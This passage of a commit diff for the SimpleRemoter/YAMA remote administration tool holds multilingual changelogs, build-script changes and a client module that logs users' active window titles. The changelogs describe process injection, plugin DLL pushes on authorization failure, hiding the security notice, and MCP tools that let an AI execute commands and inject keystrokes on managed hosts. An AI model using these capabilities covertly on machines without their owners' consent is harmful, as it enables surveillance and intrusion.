- **MCP 观测类工具(只读)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可选 max_width)、list_services、get_client_log、list_registry、get_audit_log;单飞请求注册表 20s 超时 + 编码修正(clientType / clientID 定位)
- **MCP 远程终端工具**:exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端(cwd / 环境保留,空闲 300s 清扫),哨兵判定与 timeout_ms 解析修复
- **MCP 远程控制工具**:remote_open / remote_close 会话 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;与人工 Web 查看双向互斥,会话状态机 busy / closed 加固
- **MCP 文件传输工具**:download_file(V2 协议 + SHA-256 校验)、upload_file(主连接上传),客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
- **客户端活动历史**:记录活跃窗口历史(上限 500 条、跳过 <5s),主机「客户端管理」子菜单新增「活动历史」对话框,Unicode 编辑控件正确渲染 UTF-8 标题
- **日志右键菜单三连**:消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」,IPv4 提取即时生效
- **列表排序记忆**:主机列表、进程 / 窗口列表排序偏好持久化(`list\*Sort` 注册表键),下次启动默认沿用
**改进:**
- 重复连接 standby 处理:重复登录暂存 standby 待旧连接超时 / 断线后晋升,避免循环重连与误报离线
- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP(无备注回退 IP)
- 主机列表三态排序(升序 → 降序 → 恢复默认,默认序按在线时间重建)
- 在线主机右键三个菜单项新增图标(位图数组 63→66)
**Bug 修复:**
- 客户端屏幕控制批解析错误:记录数是 7 的倍数时误判 MSG32 致注入错乱(`%48==0` 优先)
- 心跳延迟更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 显式截断
- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库(权限列移至 16)
- 远程桌面光标跨对话框污染(改 `OnSetCursor` 逐窗口路由)
- 客户端日志对话框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
### v1.3.8 (2026.8.3)
**SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**
+79
View File
@@ -378,6 +378,85 @@ Valid : 2026-02-01 to 2028-02-01
## Changelog
### v1.4.1 (2026.10.20)
**Web operations console & security hardening & one-way TLS**
**New features:**
- **Web screen wall**: monitor several devices in one tab with 1x1 to 5x5 layouts; desktop decodes up to 9 live streams and touch devices 4, tiles over budget show Paused and are promoted automatically; click a tile for single-screen control; the same device can be added repeatedly and shares one stream; supported by both the MFC and Go servers (old frontends / old servers degrade automatically)
- **Security audit log**: login attempts, authorization denials, WebSocket lifecycle, screen / terminal sessions, clipboard (byte counts only), device authentication and admin mutations; the Go server persists to `logs/audit.log`, the MFC server keeps the newest 1000 events in an in-memory ring; new Audit Log page with time / event / actor / IP / device / keyword / warn filters and paging
- **Offline device history (Go)**: `devices.json` persists every device that has ever logged in, and the device list can show offline records; admins can delete a record or remotely uninstall an online device
- **One-way TLS transport**: the device port sniffs ClientHello on the same port, so TLS 1.2 clients are encrypted while legacy plaintext clients keep working; "Extensions > TLS Certificate" configures the MFC server at runtime; a TLS column and a per-client remote enable / disable action (effective on the client's next start)
- **Web remote desktop enhancements**: bidirectional Ctrl+C/X/V text clipboard sync, a phone "I" input box that injects text through the clipboard bridge, login sessions shared across tabs, and an admin-only SSO bridge
- **Client install location**: ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **White-label Go web UI**: `YAMA_WEB_BRAND_NAME` replaces the product name and removes the security notice and external links
- **Security hardening**: per-IP connection and login rate limits, a per-connection inbound buffer cap, source-IP binding for screen / terminal sub-connections, and optional ConnAuth HMAC verification
- **Clone ID deduplication**: the V2 `client_id` folds in the hostname; on a collision the server sends `COMMAND_REGEN_CLIENT_ID` so the client recomputes and reconnects
**Improvements:**
- File-transfer speed is delivered via MasterSettings (fixes duplicate dialogs), and the transfer dialog title shows live speed
- Closing the client chat now hides it; whitelist action in the log context menu; MCP checkmark refreshes immediately; native browser alert/confirm replaced with themed in-app dialogs
- GBK / UTF-8 decoding across non-Chinese systems (dialogs, process list, file lists, paths, geolocation, machine management, clipboard)
**Bug fixes:**
- Hosts did not reconnect after a master restart following share / transfer; share / transfer permission misjudgment
- Expired licenses now renew from today, and prompts and logs show the actually issued date
- V2 quick-folder uploads did not expand `%USERPROFILE%`; webcam-less hosts sent 0x0 bitmap info; stale pixels after column toggles; Go device-port log flood; audit page reset after minimizing the browser
### v1.4.0 (2026.10.7)
**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
**New features:**
- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
**Improvements:**
- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
**Bug fixes:**
- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
- Garbled instant-message popup title (GBK code_page declaration)
- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
### v1.3.9 (2026.9.2)
**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
**New features:**
- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
**Improvements:**
- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
- Icons added to three online-host context menu items (bitmap array 63→66)
**Bug fixes:**
- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
### v1.3.8 (2026.8.3)
**SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**
+79
View File
@@ -378,6 +378,85 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
## 更新日誌
### v1.4.1 (2026.10.20)
**Web 維運控制台 & 安全加固 & 單向 TLS**
**新功能:**
- **Web 螢幕牆**:同一分頁以 1×1 ~ 5×5 佈局同時監控多台裝置,桌面 9 路 / 觸控 4 路即時解碼,超出預算暫停並自動晉升;點擊 tile 進入單畫面控制;同一裝置可重複加入並共享一路流;MFC 與 Go 伺服端同步支援(舊前端 / 舊伺服端自動降級)
- **安全稽核日誌**:登入 / 授權拒絕 / WS 生命週期 / 螢幕與終端工作階段 / 剪貼簿(僅位元組數)/ 裝置認證 / 管理變更;Go 端持久化 `logs/audit.log`,MFC 端保留最近 1000 條記憶體環形緩衝;Web 新增稽核日誌查詢頁(時間 / 事件 / 操作者 / IP / 裝置 / 關鍵字 / 告警過濾 + 分頁)
- **離線裝置歷史(Go)**:`devices.json` 持久化所有登入過的裝置,裝置列表可依需顯示離線記錄;管理員可刪除記錄或對線上裝置執行遠端解除安裝
- **單向 TLS 傳輸**:裝置連接埠同一連接埠嗅探 ClientHello,TLS 1.2 用戶端加密、舊明文用戶端不受影響;MFC「擴充 > TLS憑證」執行時設定;線上列表新增 TLS 欄,右鍵可遠端啟用 / 取消(用戶端下次啟動生效)
- **Web 遠端桌面增強**:Ctrl+C/X/V 雙向文字剪貼簿同步、手機「I」輸入框(經剪貼簿橋注入)、登入工作階段跨分頁共享、管理員 SSO 橋接
- **用戶端安裝位置選擇**:ProgramData / ProgramFiles - Admin / SystemRoot - Admin / APPDATA / LOCALAPPDATA
- **Go Web UI 白標**:`YAMA_WEB_BRAND_NAME` 取代產品名稱並移除安全提示與外部連結
- **安全加固**:每 IP 連線與登入限流、單連線入站緩衝上限、螢幕 / 終端子連線綁定來源 IP、可選 ConnAuth HMAC 校驗
- **複製機 ID 去重**:V2 `client_id` 納入主機名稱,撞 ID 時伺服端下發 `COMMAND_REGEN_CLIENT_ID` 讓用戶端重算重連
**改進:**
- 檔案傳輸速度改由 MasterSettings 下發(修復重複彈窗),傳輸對話框標題即時顯示速度
- 用戶端聊天關閉僅隱藏;日誌右鍵新增白名單;MCP 勾選即時重新整理;Web 原生 alert/confirm 全部替換為主題化應用內對話框
- 非中文系統統一按 GBK / UTF-8 解碼(對話框 / 處理程序列表 / 檔案列表 / 路徑 / 地理位置 / 主機管理 / 剪貼簿)
**Bug 修復:**
- 分享 / 轉移主機後重啟主控不重連;分享 / 轉移權限誤判
- 已過期授權續期從今天起算,提示與日誌顯示實際到期日
- V2 上傳快捷目錄未展開 `%USERPROFILE%`;無攝影機主機傳送 0×0 畫面資訊;欄切換殘留像素;Go 裝置連接埠日誌刷屏;稽核頁最小化後跳回裝置頁
### v1.4.0 (2026.10.7)
**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
**新功能:**
- **SimplePlugins 功能遷移(實驗功能)**:檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端,作為線上主機右鍵「實驗功能」子選單交付,配 16x16 圖示(位圖陣列 66→69)
- **MCP 裝置管理控制工具**:新增 kill_process / operate_window / control_service / power_action(單一 McpManage 開關 + 關閉唯讀),ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝;MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
- **遠端交談**:「遠端交談」工具列按鈕(COMMAND_CHAT 161 / TOKEN_CHAT_START 62)開啟雙向交談,支援伺服端觸發螢幕鎖 / 解鎖
- **TCP/UDP 連線管理**:工具列按鈕列出受管主機 TCP/UDP 連線,右鍵強制斷開 IPv4 TCP(iphlpapi 列舉 + CConnectionsDlg)
- **主機管理**:遷移 CMachineManager(處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入),COMMAND_MACHINE_MANAGE 162
- **授權失敗觸發器**:新增 TRIGGER_AUTH_FAILED 觸發類型(與主機上線觸發獨立),授權失敗時下發外掛程式 DLL,受 ShouldLogAuth 去重約束
- **iPhone 遠端音訊**:WebAudio + 自託管 opus-decoder WASM 解碼,修復 iOS 無 MSE 靜音
- **品質與傳輸控制**:遠端桌面 / 螢幕預覽品質等級選單(各 6 檔可設定)+ 檔案傳輸速度對話框(7 檔 + 無限檔,經 MasterSettings 下發)
- **Shine/HELL 協定選擇**:分享 / 傳輸主機時可選協定,尾隨冒號欄位透傳,舊用戶端相容
- **Go Web UI 子路徑部署**:YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
- **國際化**:德語(de_DE)第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊;遠端桌面剪貼簿按鈕(全螢幕可達)
**改進:**
- 通知設定關鍵詞改為多行輸入(每行一個,儲存仍分號分隔,相容既有 notify.ini)
**Bug 修復:**
- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失(處理程序列表 kill 後空列表)
- 即時訊息快顯視窗標題亂碼(GBK code_page 宣告)
- geo-IP 查詢阻塞主機雙擊提示(僅本機資料庫載入時查詢 + 處理程序內快取)
- 主機管理 IE 歷史字串洩漏(CoTaskMemFree)、隱私螢幕 0xCC 亂碼記錄
### v1.3.9 (2026.9.2)
**MCP 伺服端整合(AI 遠端管理)& 遠端控制與檔案傳輸閉環 & 主控增強**
**新功能:**
- **MCP 伺服端整合**:本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面,Bearer Token 鑑權,「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token;23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路,預設關閉、分級開關(唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸)全面稽核
- **MCP 觀測類工具(唯讀)**:search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot(可選 max_width)、list_services、get_client_log、list_registry、get_audit_log;單飛請求登錄表 20s 逾時 + 編碼修正(clientType / clientID 定位)
- **MCP 遠端終端工具**:exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端(cwd / 環境保留,閒置 300s 清掃),哨兵判定與 timeout_ms 解析修復
- **MCP 遠端控制工具**:remote_open / remote_close 工作階段 + remote_keyboard(key_down / up / press / type)、remote_mouse(move / click / drag / scroll)、remote_clipboard 注入;與人工 Web 查看雙向互斥,工作階段狀態機 busy / closed 加固
- **MCP 檔案傳輸工具**:download_file(V2 協定 + SHA-256 校驗)、upload_file(主連線上傳),用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
- **用戶端活動歷史**:記錄活躍視窗歷史(上限 500 條、跳過 <5s),主機「用戶端管理」子選單新增「活動歷史」對話框,Unicode 編輯控件正確渲染 UTF-8 標題
- **訊息右鍵選單三連**:訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」,IPv4 提取即時生效
- **列表排序記憶**:主機列表、處理程序 / 視窗列表排序偏好持久化(`list\*Sort` 登錄檔鍵),下次啟動預設沿用
**改進:**
- 重複連線 standby 處理:重複登入暫存 standby 待舊連線逾時 / 斷線後晉升,避免循環重連與誤報離線
- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP(無備註回退 IP)
- 主機列表三態排序(升冪 → 降冪 → 恢復預設,預設序按上線時間重建)
- 線上主機右鍵三個選單項目新增圖示(位圖陣列 63→66)
**Bug 修復:**
- 用戶端螢幕控制批次解析錯誤:記錄數是 7 的倍數時誤判 MSG32 致注入錯亂(`%48==0` 優先)
- 心跳延遲更新 use-after-free:跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫(權限列移至 16)
- 遠端桌面游標跨對話框污染(改 `OnSetCursor` 逐視窗路由)
- 用戶端記錄對話框 EDIT 上限停止刷新(`SetLimitText(0)`)
- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
### v1.3.8 (2026.8.3)
**SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**
+2
View File
@@ -9,6 +9,8 @@
- build.cmd publish:编译YAMA.exe且通过upx压缩,所生成的可执行文件较小。
- buld.cmd server:只编译YAMA.exe,需保证所依赖的客户端程序已经编译。
- build.cmd go-server:编译 Go 服务端,可以选择带publish 参数进行upx压缩。
- build.cmd serverd:编译 Debug 版服务端(x64),输出 Bin\Yama_x64d.exe。
- build.cmd client:编译 Debug 版客户端(x64),输出 x64\Debug\ghost.exe。
## Go 服务端
+6 -1
View File
@@ -1,8 +1,10 @@
@echo off
:: SimpleRemoter Quick Build Script
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server|serverd|client]
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
:: go-server publish Same, plus UPX --best compression
:: serverd Debug server only (x64) -> Bin\Yama_x64d.exe
:: client Debug client (x64) -> x64\Debug\ghost.exe
setlocal enabledelayedexpansion
@@ -21,6 +23,9 @@ if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :par
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
:: Debug presets: serverd = debug server x64 only, client = debug ghost x64 only
if /i "%~1"=="serverd" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
if /i "%~1"=="client" (set CONFIG=Debug& set PLATFORM=x64& set EXTRA_ARGS=!EXTRA_ARGS! -ClientOnly& shift& goto :parse_args)
echo Unknown argument: %~1
shift
goto :parse_args
+103 -11
View File
@@ -1,9 +1,10 @@
# SimpleRemoter Build Script
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-Clean] [-Publish]
# SimpleRemoter Build Script
# Usage: .\build.ps1 [-Config Release|Debug] [-Platform x64|x86|all] [-ServerOnly] [-ClientOnly] [-Clean] [-Publish]
#
# Requirements:
# - Visual Studio 2019 or 2022
# - v142 toolset (MSVC v142 - VS 2019 C++ build tools)
# - ATL (C++ ATL for v142 build tools)
# - MFC libraries (C++ MFC for v142 build tools)
param(
@@ -14,6 +15,7 @@ param(
[string]$Platform = "x64",
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
[switch]$ClientOnly, # Only build the client executable (ghost), skip server
[switch]$Clean, # Clean before build
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
@@ -119,8 +121,27 @@ if ($GoServer) {
exit 0
}
# 判断某个 VS 安装是否带 ATL/MFC 组件。ATL 头文件用 #pragma comment(lib, "atls.lib")
# 自动链接,只装了编译工具(BuildTools)的实例常常没有这一块:编译能过、链接报
# LNK1104 无法打开 atls.lib。同机既装 BuildTools 又装 IDE 时,按路径取第一个会挑错。
function Test-VcAtlPresent {
param([string]$VsRoot)
if (-not $VsRoot) { return $false }
$atlLib = Join-Path $VsRoot "VC\Tools\MSVC\*\atlmfc\lib\x86\atls.lib"
return [bool](Get-ChildItem $atlLib -ErrorAction SilentlyContinue | Select-Object -First 1)
}
# 从 ...\MSBuild\Current\Bin\MSBuild.exe 反推 VS 安装根目录。
function Get-VsRootFromMsBuild {
param([string]$MsBuildPath)
$idx = $MsBuildPath.IndexOf("\MSBuild\", [System.StringComparison]::OrdinalIgnoreCase)
if ($idx -lt 0) { return $null }
return $MsBuildPath.Substring(0, $idx)
}
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools,
# and within that prefer instances that actually carry ATL/MFC.
$msBuildPaths = @(
# VS2019 Insiders/Preview (non-standard path) - has v142 + MFC
"${env:ProgramFiles}\Microsoft Visual Studio\18\*\MSBuild\Current\Bin\MSBuild.exe",
@@ -134,12 +155,17 @@ $msBuildPaths = @(
)
$msBuild = $null
$fallbackMsBuild = $null # 第一个找到的候选(可能不带 ATL),仅在没有带 ATL 的实例时兜底
foreach ($pattern in $msBuildPaths) {
$found = Get-ChildItem $pattern -ErrorAction SilentlyContinue | Select-Object -First 1
if ($found) {
$msBuild = $found.FullName
break
foreach ($found in @(Get-ChildItem $pattern -ErrorAction SilentlyContinue)) {
if (-not $fallbackMsBuild) { $fallbackMsBuild = $found.FullName }
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $found.FullName)) {
$msBuild = $found.FullName
break
}
Write-Host "Skipping MSBuild without ATL/MFC: $($found.FullName)" -ForegroundColor DarkYellow
}
if ($msBuild) { break }
}
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
@@ -147,19 +173,34 @@ foreach ($pattern in $msBuildPaths) {
if (-not $msBuild) {
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vswhere) {
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
Select-Object -First 1
if ($found) { $msBuild = $found }
# 不能用 -requires Microsoft.VisualStudio.Component.VC.ATL 过滤组件 id:
# 各 VS 版本的 id 不一样(v142/v143/预览版),且预览实例可能根本查不到。
# 因此列出全部实例,再逐个用 atls.lib 落地校验(上面那条 glob 只看得到 C 盘,
# VS 装在 D 盘时只能靠这里找到)。
$hits = @(& $vswhere -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null)
foreach ($hit in $hits) {
if (-not $hit) { continue }
if (-not $fallbackMsBuild) { $fallbackMsBuild = $hit }
if (Test-VcAtlPresent (Get-VsRootFromMsBuild $hit)) { $msBuild = $hit; break }
}
}
}
# 一个带 ATL 的实例都没有:仍用兜底候选,让 MSBuild 报出更具体的错误。
if (-not $msBuild -and $fallbackMsBuild) {
Write-Host "WARNING: no VS instance with ATL/MFC found, using $fallbackMsBuild" -ForegroundColor Yellow
Write-Host " Install 'C++ ATL for v142 build tools' if linking fails on atls.lib." -ForegroundColor DarkGray
$msBuild = $fallbackMsBuild
}
if (-not $msBuild) {
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
Write-Host ""
Write-Host "Please install Visual Studio 2019 or 2022 with:" -ForegroundColor Yellow
Write-Host " - Desktop development with C++" -ForegroundColor White
Write-Host " - MSVC v142 - VS 2019 C++ x64/x86 build tools" -ForegroundColor White
Write-Host " - C++ ATL for v142 build tools" -ForegroundColor White
Write-Host " - C++ MFC for v142 build tools" -ForegroundColor White
exit 1
}
@@ -218,6 +259,9 @@ function Build-Project {
Write-Host "If you see 'v142 build tools cannot be found':" -ForegroundColor Yellow
Write-Host " Install 'MSVC v142 - VS 2019 C++ build tools' via VS Installer" -ForegroundColor White
Write-Host ""
Write-Host "If you see 'LNK1104: cannot open file atls.lib':" -ForegroundColor Yellow
Write-Host " Install 'C++ ATL for v142 build tools' via VS Installer" -ForegroundColor White
Write-Host ""
Write-Host "If you see 'MFC libraries are required':" -ForegroundColor Yellow
Write-Host " Install 'C++ MFC for v142 build tools' via VS Installer" -ForegroundColor White
exit 1
@@ -226,6 +270,54 @@ function Build-Project {
Write-Host "OK: $Project" -ForegroundColor Green
}
# Debug client fast path: build the client executable and stop.
# Only ghost is built — the other client projects (ServerDll, TestRun, TinyRun,
# SCLoader) exist to be embedded in the server and are irrelevant when the goal
# is debugging the client itself.
if ($ClientOnly) {
$clientProject = "ghost"
$clientPlatforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
$startTime = Get-Date
Write-Host ""
Write-Host "========================================" -ForegroundColor Cyan
Write-Host " SimpleRemoter Client Build" -ForegroundColor Cyan
Write-Host " Config: $Config" -ForegroundColor Cyan
Write-Host " Platform: $Platform" -ForegroundColor Cyan
Write-Host " VS: $vsYear" -ForegroundColor Cyan
Write-Host " Clean: $Clean" -ForegroundColor Cyan
Write-Host "========================================" -ForegroundColor Cyan
foreach ($plat in $clientPlatforms) {
Build-Project -Project $clientProject -Configuration $Config -Platform $plat -ForceClean $Clean
}
$elapsed = (Get-Date) - $startTime
Write-Host ""
Write-Host "========================================" -ForegroundColor Green
Write-Host " Build Completed!" -ForegroundColor Green
Write-Host " Time: $($elapsed.TotalSeconds.ToString('F1')) seconds" -ForegroundColor Green
Write-Host "========================================" -ForegroundColor Green
Write-Host ""
Write-Host "Output files:" -ForegroundColor Cyan
# VS default OutDir for this project: $(SolutionDir)$(Platform)\$(Configuration)\
# x86 output lands in <root>\Debug, x64 in <root>\x64\Debug.
foreach ($plat in $clientPlatforms) {
$outDir = if ($plat -eq "x64") { Join-Path (Join-Path $rootDir "x64") $Config } else { Join-Path $rootDir $Config }
$clientOut = Join-Path $outDir "ghost.exe"
if (Test-Path $clientOut) {
$size = (Get-Item $clientOut).Length / 1MB
Write-Host " $clientOut ($($size.ToString('F2')) MB)" -ForegroundColor White
} else {
Write-Host " WARNING: expected output not found at $clientOut" -ForegroundColor Yellow
}
}
exit 0
}
# Determine platforms to build
$platforms = if ($Platform -eq "all") { @("x86", "x64") } else { @($Platform) }
+126
View File
@@ -0,0 +1,126 @@
// ActivityHistory.cpp: 客户端历史活动记录采集模块
#include "stdafx.h"
#include "ActivityHistory.h"
#include "KernelManager.h" // ActivityWindow
ActivityHistory& ActivityHistory::Instance()
{
static ActivityHistory inst;
return inst;
}
void ActivityHistory::Start()
{
if (m_started.exchange(true))
return;
m_running = true;
m_thread = std::thread(&ActivityHistory::Loop, this);
}
void ActivityHistory::Stop()
{
m_running = false;
if (m_thread.joinable())
m_thread.join();
}
std::string ActivityHistory::Dump() const
{
std::lock_guard<std::mutex> lock(m_mutex);
std::string out;
// 当前进行中的窗口:若已持续达到阈值,作为最新一条返回
if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
for (const auto& r : m_records)
out += r + "\n";
return out;
}
void ActivityHistory::Loop()
{
// 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。
const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
ActivityWindow aw;
HWND lastHwnd = NULL;
std::string lastTitle;
std::string startTime;
int dwellSec = 0;
while (m_running) {
// 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
{
std::lock_guard<std::mutex> lock(m_mutex);
if (hwnd == NULL || title.empty()) {
// 空闲/锁定/无标题:结账上一个窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = NULL;
lastTitle.clear();
dwellSec = 0;
} else if (hwnd == lastHwnd) {
// 同一窗口:即使标题动态变化也连续累计,标题取最新值
++dwellSec;
lastTitle = title;
} else {
// 窗口切换:结账上一个,开始累计新窗口
if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
lastHwnd = hwnd;
lastTitle = title;
startTime = NowStr();
dwellSec = 1;
}
while (m_records.size() > ACTIVITY_HISTORY_MAX)
m_records.pop_back();
m_curTitle = lastTitle;
m_curStartTime = startTime;
m_curDwellSec = dwellSec;
}
Sleep(1000);
}
}
std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
{
// 标题里的换行会破坏“每行一条”,做最小清洗
std::string t;
t.reserve(title.size());
for (char c : title) {
if (c == '\r' || c == '\n') c = ' ';
t += c;
}
return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
}
std::string ActivityHistory::FormatDuration(int sec)
{
if (sec < 0) sec = 0;
if (sec < 60)
return std::to_string(sec) + "s";
if (sec < 3600) {
int m = sec / 60, s = sec % 60;
return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
: std::to_string(m) + "m";
}
